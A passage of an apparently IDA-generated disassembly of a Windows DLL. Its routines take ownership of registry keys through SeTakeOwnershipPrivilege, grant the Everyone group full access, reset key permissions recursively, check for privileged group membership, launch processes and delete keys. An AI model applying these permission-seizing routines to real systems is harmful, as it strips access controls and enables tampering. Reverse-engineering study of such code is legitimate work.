		mov	esp, [ebp+ms_exc.old_esp]
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	ebx, ebx


loc_9A69F2:				; CODE XREF: sub_9A68CA+119j
		cmp	[ebp+hMem], ebx
		jz	short loc_9A6A00
		push	[ebp+hMem]	; hMem
		call	GlobalFree


loc_9A6A00:				; CODE XREF: sub_9A68CA+12Bj
		cmp	[ebp+pSid], ebx
		jz	short loc_9A6A0E
		push	[ebp+pSid]	; pSid
		call	FreeSid


loc_9A6A0E:				; CODE XREF: sub_9A68CA+139j
		mov	eax, [ebp+var_38]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A68CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A6A21(LPSTR lpCommandLine,int)

sub_9A6A21	proc near		; CODE XREF: sub_9A7214+D5p

StartupInfo	= _STARTUPINFOA	ptr -54h
hObject		= _PROCESS_INFORMATION ptr -10h
lpCommandLine	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	esi
		push	edi
		xor	edx, edx
		xor	eax, eax
		mov	[ebp+hObject.hProcess],	edx
		push	10h
		lea	edi, [ebp+hObject.hThread]
		stosd
		stosd
		stosd
		pop	ecx
		xor	eax, eax
		mov	[ebp+StartupInfo.cb], 44h
		lea	edi, [ebp+StartupInfo.lpReserved]
		rep stosd
		mov	eax, [ebp+arg_4]
		xor	edi, edi
		inc	edi
		xor	esi, esi
		neg	eax
		sbb	eax, eax
		and	eax, 5
		mov	[ebp+StartupInfo.wShowWindow], ax
		lea	eax, [ebp+hObject]
		push	eax		; lpProcessInformation
		lea	eax, [ebp+StartupInfo]
		push	eax		; lpStartupInfo
		push	edx		; lpCurrentDirectory
		push	edx		; lpEnvironment
		push	edx		; dwCreationFlags
		push	edx		; bInheritHandles
		push	edx		; lpThreadAttributes
		push	edx		; lpProcessAttributes
		push	[ebp+lpCommandLine] ; lpCommandLine
		mov	[ebp+StartupInfo.dwFlags], edi
		push	edx		; lpApplicationName
		call	CreateProcessA
		test	eax, eax
		jz	short loc_9A6A8B
		push	[ebp+hObject.hProcess] ; hObject
		mov	esi, CloseHandle
		call	esi ; CloseHandle
		push	[ebp+hObject.hThread] ;	hObject
		call	esi ; CloseHandle
		mov	esi, edi


loc_9A6A8B:				; CODE XREF: sub_9A6A21+56j
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_9A6A21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A6A91	proc near		; CODE XREF: sub_9A3C63+123p

pSid1		= dword	ptr -2Ch
var_28		= dword	ptr -28h
hObject		= dword	ptr -24h
ReturnLength	= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
pSid		= dword	ptr -14h
pSid2		= dword	ptr -10h
pIdentifierAuthority= _SID_IDENTIFIER_AUTHORITY	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_9B8788
		xor	eax, ebp
		push	ebx
		mov	[ebp+var_4], eax
		lea	eax, [ebp+hObject]
		push	eax		; TokenHandle
		xor	ebx, ebx
		push	8		; DesiredAccess
		mov	[ebp+var_1C], ebx
		call	GetCurrentProcess
		push	eax		; ProcessHandle
		call	OpenProcessToken
		test	eax, eax
		jz	loc_9A6BDB
		push	esi
		mov	esi, GetTokenInformation
		lea	eax, [ebp+ReturnLength]
		push	eax		; ReturnLength
		push	ebx		; TokenInformationLength
		push	ebx		; TokenInformation
		push	2		; TokenInformationClass
		push	[ebp+hObject]	; TokenHandle
		call	esi ; GetTokenInformation
		test	eax, eax
		jnz	loc_9A6BD1
		call	GetLastError
		cmp	eax, 7Ah
		jnz	loc_9A6BD1
		push	edi
		push	[ebp+ReturnLength] ; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_9A6BD0
		lea	eax, [ebp+ReturnLength]
		push	eax		; ReturnLength
		push	[ebp+ReturnLength] ; TokenInformationLength
		push	edi		; TokenInformation
		push	2		; TokenInformationClass
		push	[ebp+hObject]	; TokenHandle
		call	esi ; GetTokenInformation
		test	eax, eax
		jz	loc_9A6BC9
		mov	esi, AllocateAndInitializeSid
		lea	eax, [ebp+pSid2]
		push	eax		; pSid
		push	ebx		; nSubAuthority7
		push	ebx		; nSubAuthority6
		push	ebx		; nSubAuthority5
		push	ebx		; nSubAuthority4
		push	ebx		; nSubAuthority3
		push	ebx		; nSubAuthority2
		push	ebx		; nSubAuthority1
		push	4		; nSubAuthority0
		push	1		; nSubAuthorityCount
		lea	eax, [ebp+pIdentifierAuthority]
		push	eax		; pIdentifierAuthority
		mov	[ebp+pSid2], ebx
		mov	[ebp+pSid], ebx
		mov	[ebp+pIdentifierAuthority.Value], bl
		mov	[ebp+pIdentifierAuthority.Value+1], bl
		mov	[ebp+pIdentifierAuthority.Value+2], bl
		mov	[ebp+pIdentifierAuthority.Value+3], bl
		mov	[ebp+pIdentifierAuthority.Value+4], bl
		mov	[ebp+pIdentifierAuthority.Value+5], 5
		call	esi ; AllocateAndInitializeSid
		lea	eax, [ebp+pSid]
		push	eax		; pSid
		push	ebx		; nSubAuthority7
		push	ebx		; nSubAuthority6
		push	ebx		; nSubAuthority5
		push	ebx		; nSubAuthority4
		push	ebx		; nSubAuthority3
		push	ebx		; nSubAuthority2
		push	ebx		; nSubAuthority1
		push	6		; nSubAuthority0
		push	1		; nSubAuthorityCount
		lea	eax, [ebp+pIdentifierAuthority]
		push	eax		; pIdentifierAuthority
		call	esi ; AllocateAndInitializeSid
		cmp	[edi], ebx
		mov	[ebp+var_1C], 1
		mov	[ebp+var_18], ebx
		jbe	short loc_9A6BAF
		lea	esi, [edi+4]


loc_9A6B74:				; CODE XREF: sub_9A6A91+117j
		mov	eax, [esi]
		push	[ebp+pSid2]	; pSid2
		mov	ecx, [esi+4]
		push	eax		; pSid1
		mov	[ebp+pSid1], eax
		mov	[ebp+var_28], ecx
		call	EqualSid
		test	eax, eax
		jnz	short loc_9A6BAC
		push	[ebp+pSid]	; pSid2
		push	[ebp+pSid1]	; pSid1
		call	EqualSid
		test	eax, eax
		jnz	short loc_9A6BAF
		inc	[ebp+var_18]
		mov	eax, [ebp+var_18]
		add	esi, 8
		cmp	eax, [edi]
		jb	short loc_9A6B74
		jmp	short loc_9A6BAF
; ---------------------------------------------------------------------------


loc_9A6BAC:				; CODE XREF: sub_9A6A91+FAj
		mov	[ebp+var_1C], ebx


loc_9A6BAF:				; CODE XREF: sub_9A6A91+DEj
					; sub_9A6A91+10Aj ...
		cmp	[ebp+pSid], ebx
		mov	esi, FreeSid
		jz	short loc_9A6BBF
		push	[ebp+pSid]	; pSid
		call	esi ; FreeSid


loc_9A6BBF:				; CODE XREF: sub_9A6A91+127j
		cmp	[ebp+pSid2], ebx
		jz	short loc_9A6BC9
		push	[ebp+pSid2]	; pSid
		call	esi ; FreeSid


loc_9A6BC9:				; CODE XREF: sub_9A6A91+83j
					; sub_9A6A91+131j
		push	edi		; hMem
		call	GlobalFree


loc_9A6BD0:				; CODE XREF: sub_9A6A91+6Cj
		pop	edi


loc_9A6BD1:				; CODE XREF: sub_9A6A91+47j
					; sub_9A6A91+56j
		push	[ebp+hObject]	; hObject
		call	CloseHandle
		pop	esi


loc_9A6BDB:				; CODE XREF: sub_9A6A91+2Bj
		mov	ecx, [ebp+var_4]
		mov	eax, [ebp+var_1C]
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		leave
		retn
sub_9A6A91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A6BEB	proc near		; CODE XREF: sub_9A6CF7+8Ap

pSecurityDescriptor= byte ptr -50h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
hKey		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
pSid		= dword	ptr -28h
pIdentifierAuthority= _SID_IDENTIFIER_AUTHORITY	ptr -24h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	40h
		push	offset stru_9A2AC0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+hKey], eax
		xor	ebx, ebx
		mov	[ebp+var_30], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+pSid], ebx
		mov	[ebp+ms_exc.disabled], ebx
		mov	[ebp+pIdentifierAuthority.Value], bl
		mov	[ebp+pIdentifierAuthority.Value+1], bl
		mov	[ebp+pIdentifierAuthority.Value+2], bl
		mov	[ebp+pIdentifierAuthority.Value+3], bl
		mov	[ebp+pIdentifierAuthority.Value+4], bl
		mov	[ebp+pIdentifierAuthority.Value+5], 5
		lea	eax, [ebp+pSid]
		push	eax		; pSid
		push	ebx		; nSubAuthority7
		push	ebx		; nSubAuthority6
		push	ebx		; nSubAuthority5
		push	ebx		; nSubAuthority4
		push	ebx		; nSubAuthority3
		push	ebx		; nSubAuthority2
		push	ebx		; nSubAuthority1
		push	12h		; nSubAuthority0
		push	1		; nSubAuthorityCount
		lea	eax, [ebp+pIdentifierAuthority]
		push	eax		; pIdentifierAuthority
		call	AllocateAndInitializeSid
		push	[ebp+pSid]	; pSid
		call	GetLengthSid
		mov	esi, eax
		add	esi, 10h
		mov	[ebp+var_38], esi
		push	esi		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, ebx
		jz	short loc_9A6CB5
		push	2		; dwAclRevision
		push	esi		; nAclLength
		push	edi		; pAcl
		call	InitializeAcl
		push	[ebp+pSid]	; pSid
		push	20019h		; AccessMask
		push	2		; dwAceRevision
		push	edi		; pAcl
		call	AddAccessAllowedAce
		push	1		; dwRevision
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		call	InitializeSecurityDescriptor
		push	ebx		; bDaclDefaulted
		push	edi		; pDacl
		push	1		; bDaclPresent
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		call	SetSecurityDescriptorDacl
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		push	4		; SecurityInformation
		push	[ebp+hKey]	; hKey
		call	RegSetKeySecurity
		mov	[ebp+var_3C], eax
		xor	ecx, ecx
		cmp	eax, ebx
		setz	cl
		mov	[ebp+var_30], ecx


loc_9A6CB5:				; CODE XREF: sub_9A6BEB+77j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_9A6CCB
; ---------------------------------------------------------------------------


loc_9A6CBB:				; DATA XREF: .text:stru_9A2AC0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A6CBF:				; DATA XREF: .text:stru_9A2AC0o
		mov	esp, [ebp+ms_exc.old_esp]
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	ebx, ebx
		mov	edi, [ebp+var_2C]


loc_9A6CCB:				; CODE XREF: sub_9A6BEB+CEj
		cmp	edi, ebx
		jz	short loc_9A6CD6
		push	edi		; hMem
		call	GlobalFree


loc_9A6CD6:				; CODE XREF: sub_9A6BEB+E2j
		cmp	[ebp+pSid], ebx
		jz	short loc_9A6CE4
		push	[ebp+pSid]	; pSid
		call	FreeSid


loc_9A6CE4:				; CODE XREF: sub_9A6BEB+EEj
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A6BEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=198h

; int __cdecl sub_9A6CF7(HKEY hKey)

sub_9A6CF7	proc near		; CODE XREF: sub_9A6CF7+5Ap
					; sub_9A7B42+27Ap

phkResult	= dword	ptr -218h
cchName		= dword	ptr -214h
dwIndex		= dword	ptr -210h
Name		= word ptr -20Ch
var_4		= dword	ptr -4
hKey		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-198h]
		sub	esp, 218h
		mov	eax, dword_9B8788
		push	ebx
		mov	ebx, [ebp+198h+hKey]
		push	esi
		push	edi
		mov	edi, RegEnumKeyExW
		xor	eax, ebp
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		mov	[ebp+198h+var_4], eax
		push	esi
		lea	eax, [ebp+198h+cchName]
		push	eax
		lea	eax, [ebp+198h+Name]
		push	eax
		mov	[ebp+198h+dwIndex], esi
		push	esi
		jmp	short loc_9A6D72
; ---------------------------------------------------------------------------


loc_9A6D35:				; CODE XREF: sub_9A6CF7+87j
		lea	eax, [ebp+198h+phkResult]
		push	eax		; phkResult
		push	0F003Fh		; samDesired
		push	esi		; ulOptions
		lea	eax, [ebp+198h+Name]
		push	eax		; lpSubKey
		push	ebx		; hKey
		call	RegOpenKeyExW
		test	eax, eax
		jnz	short loc_9A6D60
		push	[ebp+198h+phkResult] ; hKey
		call	sub_9A6CF7
		pop	ecx
		push	[ebp+198h+phkResult] ; hKey
		call	RegCloseKey


loc_9A6D60:				; CODE XREF: sub_9A6CF7+55j
		inc	[ebp+198h+dwIndex]
		push	esi		; lpftLastWriteTime
		push	esi		; lpcchClass
		push	esi		; lpClass
		push	esi		; lpReserved
		lea	eax, [ebp+198h+cchName]
		push	eax		; lpcchName
		lea	eax, [ebp+198h+Name]
		push	eax		; lpName
		push	[ebp+198h+dwIndex] ; dwIndex


loc_9A6D72:				; CODE XREF: sub_9A6CF7+3Cj
		push	ebx		; hKey
		mov	[ebp+198h+cchName], 104h
		call	edi ; RegEnumKeyExW
		test	eax, eax
		jz	short loc_9A6D35
		push	ebx
		call	sub_9A6BEB
		pop	ecx
		mov	ecx, [ebp+198h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 198h
		leave
		retn
sub_9A6CF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A6D9F(HANDLE	TokenHandle,TOKEN_INFORMATION_CLASS TokenInformationClass)

sub_9A6D9F	proc near		; CODE XREF: sub_9A6DFC+23p

Size		= dword	ptr -4
TokenHandle	= dword	ptr  8
TokenInformationClass= dword ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, GetTokenInformation
		push	edi
		lea	eax, [ebp+Size]
		push	eax		; ReturnLength
		push	0		; TokenInformationLength
		push	0		; TokenInformation
		push	[ebp+TokenInformationClass] ; TokenInformationClass
		push	[ebp+TokenHandle] ; TokenHandle
		call	esi ; GetTokenInformation
		test	eax, eax
		jnz	short loc_9A6DF6
		call	GetLastError
		cmp	eax, 7Ah
		jnz	short loc_9A6DF6
		push	[ebp+Size]	; Size
		call	malloc
		pop	ecx
		mov	edi, eax
		lea	eax, [ebp+Size]
		push	eax		; ReturnLength
		push	[ebp+Size]	; TokenInformationLength
		push	edi		; TokenInformation
		push	[ebp+TokenInformationClass] ; TokenInformationClass
		push	[ebp+TokenHandle] ; TokenHandle
		call	esi ; GetTokenInformation
		test	eax, eax
		jz	short loc_9A6DEE
		mov	eax, edi
		jmp	short loc_9A6DF8
; ---------------------------------------------------------------------------


loc_9A6DEE:				; CODE XREF: sub_9A6D9F+49j
		push	edi		; Memory
		call	free
		pop	ecx


loc_9A6DF6:				; CODE XREF: sub_9A6D9F+1Ej
					; sub_9A6D9F+29j
		xor	eax, eax


loc_9A6DF8:				; CODE XREF: sub_9A6D9F+4Dj
		pop	edi
		pop	esi
		leave
		retn
sub_9A6D9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A6DFC	proc near		; CODE XREF: sub_9A6E36+12p

TokenHandle	= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		lea	eax, [ebp+TokenHandle]
		push	eax		; TokenHandle
		push	18h		; DesiredAccess
		xor	esi, esi
		call	GetCurrentProcess
		push	eax		; ProcessHandle
		call	OpenProcessToken
		test	eax, eax
		jz	short loc_9A6E31
		push	1		; TokenInformationClass
		push	[ebp+TokenHandle] ; TokenHandle
		call	sub_9A6D9F
		pop	ecx
		pop	ecx
		push	[ebp+TokenHandle] ; hObject
		mov	esi, eax
		call	CloseHandle


loc_9A6E31:				; CODE XREF: sub_9A6DFC+1Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_9A6DFC	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A6E36(LPWSTR	pObjectName,SE_OBJECT_TYPE ObjectType)

sub_9A6E36	proc near		; CODE XREF: sub_9A6E7C+2Bp

pObjectName	= dword	ptr  4
ObjectType	= dword	ptr  8

		push	esi
		push	edi
		push	1		; int
		push	offset aSetakeownershi ; "SeTakeOwnershipPrivilege"
		xor	esi, esi
		call	sub_9A5DFA
		pop	ecx
		pop	ecx
		call	sub_9A6DFC
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_9A6E77
		push	esi		; pSacl
		push	esi		; pDacl
		push	esi		; psidGroup
		push	dword ptr [edi]	; psidOwner
		push	1		; SecurityInfo
		push	[esp+1Ch+ObjectType] ; ObjectType
		push	[esp+20h+pObjectName] ;	pObjectName
		call	SetNamedSecurityInfoW
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		push	edi		; Memory
		inc	esi
		call	free
		pop	ecx


loc_9A6E77:				; CODE XREF: sub_9A6E36+1Bj
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_9A6E36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A6E7C	proc near		; CODE XREF: sub_9A7001+3Bp

pListOfExplicitEntries=	_EXPLICIT_ACCESS_W ptr -54h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
pSid		= dword	ptr -2Ch
hMem		= dword	ptr -28h
pIdentifierAuthority= _SID_IDENTIFIER_AUTHORITY	ptr -24h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	44h
		push	offset stru_9A2AE8
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		mov	esi, ecx
		mov	edi, edx
		xor	ebx, ebx
		mov	[ebp+var_30], ebx
		mov	[ebp+hMem], ebx
		mov	[ebp+pSid], ebx
		mov	[ebp+ms_exc.disabled], ebx
		push	4		; ObjectType
		push	edi		; pObjectName
		call	sub_9A6E36
		pop	ecx
		pop	ecx
		mov	[ebp+pIdentifierAuthority.Value], bl
		mov	[ebp+pIdentifierAuthority.Value+1], bl
		mov	[ebp+pIdentifierAuthority.Value+2], bl
		mov	[ebp+pIdentifierAuthority.Value+3], bl
		mov	[ebp+pIdentifierAuthority.Value+4], bl
		mov	[ebp+pIdentifierAuthority.Value+5], 1
		lea	eax, [ebp+pSid]
		push	eax		; pSid
		push	ebx		; nSubAuthority7
		push	ebx		; nSubAuthority6
		push	ebx		; nSubAuthority5
		push	ebx		; nSubAuthority4
		push	ebx		; nSubAuthority3
		push	ebx		; nSubAuthority2
		push	ebx		; nSubAuthority1
		push	ebx		; nSubAuthority0
		push	1		; nSubAuthorityCount
		lea	eax, [ebp+pIdentifierAuthority]
		push	eax		; pIdentifierAuthority
		call	AllocateAndInitializeSid
		test	eax, eax
		jz	short loc_9A6F40
		mov	[ebp+pListOfExplicitEntries.grfAccessPermissions], 10000000h
		mov	[ebp+pListOfExplicitEntries.grfAccessMode], 2
		neg	esi
		sbb	esi, esi
		and	esi, 3
		mov	[ebp+pListOfExplicitEntries.grfInheritance], esi
		mov	[ebp+pListOfExplicitEntries.Trustee.TrusteeForm], ebx
		mov	[ebp+pListOfExplicitEntries.Trustee.TrusteeType], 5
		mov	eax, [ebp+pSid]
		mov	[ebp+pListOfExplicitEntries.Trustee.ptstrName],	eax
		lea	eax, [ebp+hMem]
		push	eax		; NewAcl
		push	ebx		; OldAcl
		lea	eax, [ebp+pListOfExplicitEntries]
		push	eax		; pListOfExplicitEntries
		push	1		; cCountOfExplicitEntries
		call	SetEntriesInAclW
		mov	[ebp+var_34], eax
		cmp	eax, ebx
		jnz	short loc_9A6F40
		cmp	[ebp+hMem], ebx
		jz	short loc_9A6F40
		push	ebx		; pSacl
		push	[ebp+hMem]	; pDacl
		push	ebx		; psidGroup
		push	ebx		; psidOwner
		push	4		; SecurityInfo
		push	4		; ObjectType
		push	edi		; pObjectName
		call	SetNamedSecurityInfoW
		mov	[ebp+var_34], eax
		xor	ecx, ecx
		cmp	eax, ebx
		setz	cl
		mov	[ebp+var_30], ecx


loc_9A6F40:				; CODE XREF: sub_9A6E7C+5Fj
					; sub_9A6E7C+9Fj ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	nullsub_4
		cmp	[ebp+hMem], ebx
		jz	short loc_9A6F57
		push	[ebp+hMem]	; hMem
		call	LocalFree


loc_9A6F57:				; CODE XREF: sub_9A6E7C+D0j
		cmp	[ebp+pSid], ebx
		jz	short loc_9A6F65
		push	[ebp+pSid]	; pSid
		call	FreeSid


loc_9A6F65:				; CODE XREF: sub_9A6E7C+DEj
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A6E7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A6F78	proc near		; DATA XREF: .text:stru_9A2AE8o
		xor	ebx, ebx
sub_9A6F78	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A6F7B	proc near		; CODE XREF: sub_9A7001+2Bp
					; sub_9A706C+35p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		xor	edx, edx
		cmp	esi, edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], 80000000h
		mov	[ebp+var_20], offset aClasses_root ; "CLASSES_ROOT"
		mov	[ebp+var_1C], 80000001h
		mov	[ebp+var_18], offset aCurrent_user ; "CURRENT_USER"
		mov	[ebp+var_14], 80000002h
		mov	[ebp+var_10], offset aMachine ;	"MACHINE"
		mov	[ebp+var_C], 80000003h
		mov	[ebp+var_8], offset aUsers ; "USERS"
		jz	short loc_9A6FFC
		xor	ecx, ecx


loc_9A6FC4:				; CODE XREF: sub_9A6F7B+5Aj
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+edx*8+var_24]
		jnz	short loc_9A6FD1
		mov	ecx, [ebp+edx*8+var_20]


loc_9A6FD1:				; CODE XREF: sub_9A6F7B+50j
		inc	edx
		cmp	edx, 4
		jb	short loc_9A6FC4
		test	ecx, ecx
		jz	short loc_9A6FFC
		push	[ebp+arg_4]
		push	ecx
		push	offset aSS	; "%s\\%s"
		push	esi		; Count
		push	edi		; Dest
		call	_snwprintf
		add	esp, 14h
		and	word ptr [edi+esi*2-2],	0
		mov	[ebp+var_4], 1


loc_9A6FFC:				; CODE XREF: sub_9A6F7B+45j
					; sub_9A6F7B+5Ej
		mov	eax, [ebp+var_4]
		leave
		retn
sub_9A6F7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A7001	proc near		; CODE XREF: sub_9A4207+5Dp
					; sub_9A4358+140p ...

var_20C		= byte ptr -20Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		mov	eax, dword_9B8788
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		xor	eax, ebp
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ecx
		push	eax
		mov	esi, 104h
		lea	edi, [ebp+var_20C]
		xor	ebx, ebx
		call	sub_9A6F7B
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A7043
		mov	ecx, [ebp+arg_8]
		mov	edx, edi
		call	sub_9A6E7C
		mov	ebx, eax


loc_9A7043:				; CODE XREF: sub_9A7001+34j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		mov	eax, ebx
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		leave
		retn
sub_9A7001	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A7054	proc near		; CODE XREF: sub_9A3A68:loc_9A3AC8p
		call	GetVersion
		cmp	al, 6
		ja	short loc_9A7068
		jnz	short loc_9A7065
		cmp	ah, 1
		jnb	short loc_9A7068


loc_9A7065:				; CODE XREF: sub_9A7054+Aj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_9A7068:				; CODE XREF: sub_9A7054+8j
					; sub_9A7054+Fj
		xor	eax, eax
		inc	eax
		retn
sub_9A7054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A706C(int,int,PSID *ppsidOwner,int)

sub_9A706C	proc near		; CODE XREF: sub_9A4358+137p
					; sub_9A471B+4Ap ...

ppDacl		= dword	ptr -210h
pObjectName	= word ptr -20Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
ppsidOwner	= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		mov	eax, dword_9B8788
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_C]
		push	ebx
		mov	ebx, [ebp+ppsidOwner]
		push	esi
		xor	eax, ebp
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ecx
		push	eax
		mov	esi, 104h
		lea	edi, [ebp+pObjectName]
		mov	[ebp+ppDacl], edx
		call	sub_9A6F7B
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A70CE
		xor	eax, eax
		push	eax		; ppSecurityDescriptor
		push	eax		; ppSacl
		push	[ebp+ppDacl]	; ppDacl
		push	eax		; ppsidGroup
		push	ebx		; ppsidOwner
		push	5		; SecurityInfo
		push	4		; ObjectType
		lea	eax, [ebp+pObjectName]
		push	eax		; pObjectName
		call	GetNamedSecurityInfoW
		neg	eax
		sbb	eax, eax
		inc	eax


loc_9A70CE:				; CODE XREF: sub_9A706C+3Ej
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		leave
		retn
sub_9A706C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A70DD(int,int,PSID psidOwner,int)

sub_9A70DD	proc near		; CODE XREF: sub_9A4358+394p
					; sub_9A471B+211p ...

pDacl		= dword	ptr -210h
pObjectName	= word ptr -20Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
psidOwner	= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		mov	eax, dword_9B8788
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_C]
		push	ebx
		mov	ebx, [ebp+psidOwner]
		push	esi
		xor	eax, ebp
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ecx
		push	eax
		mov	esi, 104h
		lea	edi, [ebp+pObjectName]
		mov	[ebp+pDacl], edx
		call	sub_9A6F7B
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A713E
		push	0		; pSacl
		push	[ebp+pDacl]	; pDacl
		lea	eax, [ebp+pObjectName]
		push	0		; psidGroup
		push	ebx		; psidOwner
		push	5		; SecurityInfo
		push	4		; ObjectType
		push	eax		; pObjectName
		call	SetNamedSecurityInfoW
		neg	eax
		sbb	eax, eax
		inc	eax


loc_9A713E:				; CODE XREF: sub_9A70DD+3Ej
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		leave
		retn
sub_9A70DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_9A714D	proc near		; CODE XREF: sub_9AAAC1-1Dp
		push	0		; dwExitCode
		call	ExitThread
sub_9A714D	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A7156(HKEY hkey,LPCWSTR pszSubKey)

sub_9A7156	proc near		; CODE XREF: sub_9A39CF+66p
					; sub_9A39CF+71p

hkey		= dword	ptr  4
pszSubKey	= dword	ptr  8

		push	1
		push	[esp+4+pszSubKey]
		push	[esp+8+hkey]
		call	sub_9A7001
		add	esp, 0Ch
		push	[esp+pszSubKey]	; pszSubKey
		push	[esp+4+hkey]	; hkey
		call	SHDeleteKeyW
		retn
sub_9A7156	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A7177	proc near		; CODE XREF: DllMain(x,x,x)+42p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset stru_9A2B58
		call	__SEH_prolog
		and	[ebp+var_1C], 0
		and	[ebp+ms_exc.disabled], 0
